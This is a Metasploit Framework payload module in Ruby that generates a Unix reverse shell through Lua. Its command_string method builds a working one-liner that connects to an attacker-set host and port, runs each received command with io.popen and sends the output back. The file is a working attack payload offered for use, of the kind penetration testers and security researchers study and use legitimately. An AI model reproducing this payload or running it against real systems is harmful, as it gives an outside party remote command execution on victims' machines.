metasploit-framework/modules/payloads/singles/cmd/unix/reverse_lua.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module MetasploitModule

  CachedSize = 224

  include Msf::Payload::Single
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Unix Command Shell, Reverse TCP (via Lua)',
      'Description'   => 'Creates an interactive shell via Lua',
      'Author'        =>
      [
        'xistence <xistence[at]0x90.nl>',
      ],
      'License'       => MSF_LICENSE,
      'Platform'      => 'unix',
      'Arch'          => ARCH_CMD,
      'Handler'       => Msf::Handler::ReverseTcp,
      'Session'       => Msf::Sessions::CommandShell,
      'PayloadType'   => 'cmd',
      'RequiredCmd'   => 'lua',
      'Payload'       =>
      {
        'Offsets' => { },
        'Payload' => ''
      }
    ))
  end

  #
  # Constructs the payload
  #
  def generate
    return super + command_string
  end

  #
  # Returns the command string to use for execution
  #
  def command_string
    "lua -e \"local s=require('socket');local t=assert(s.tcp());t:connect('#{datastore['LHOST']}',#{datastore['LPORT']});while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();\""
  end
end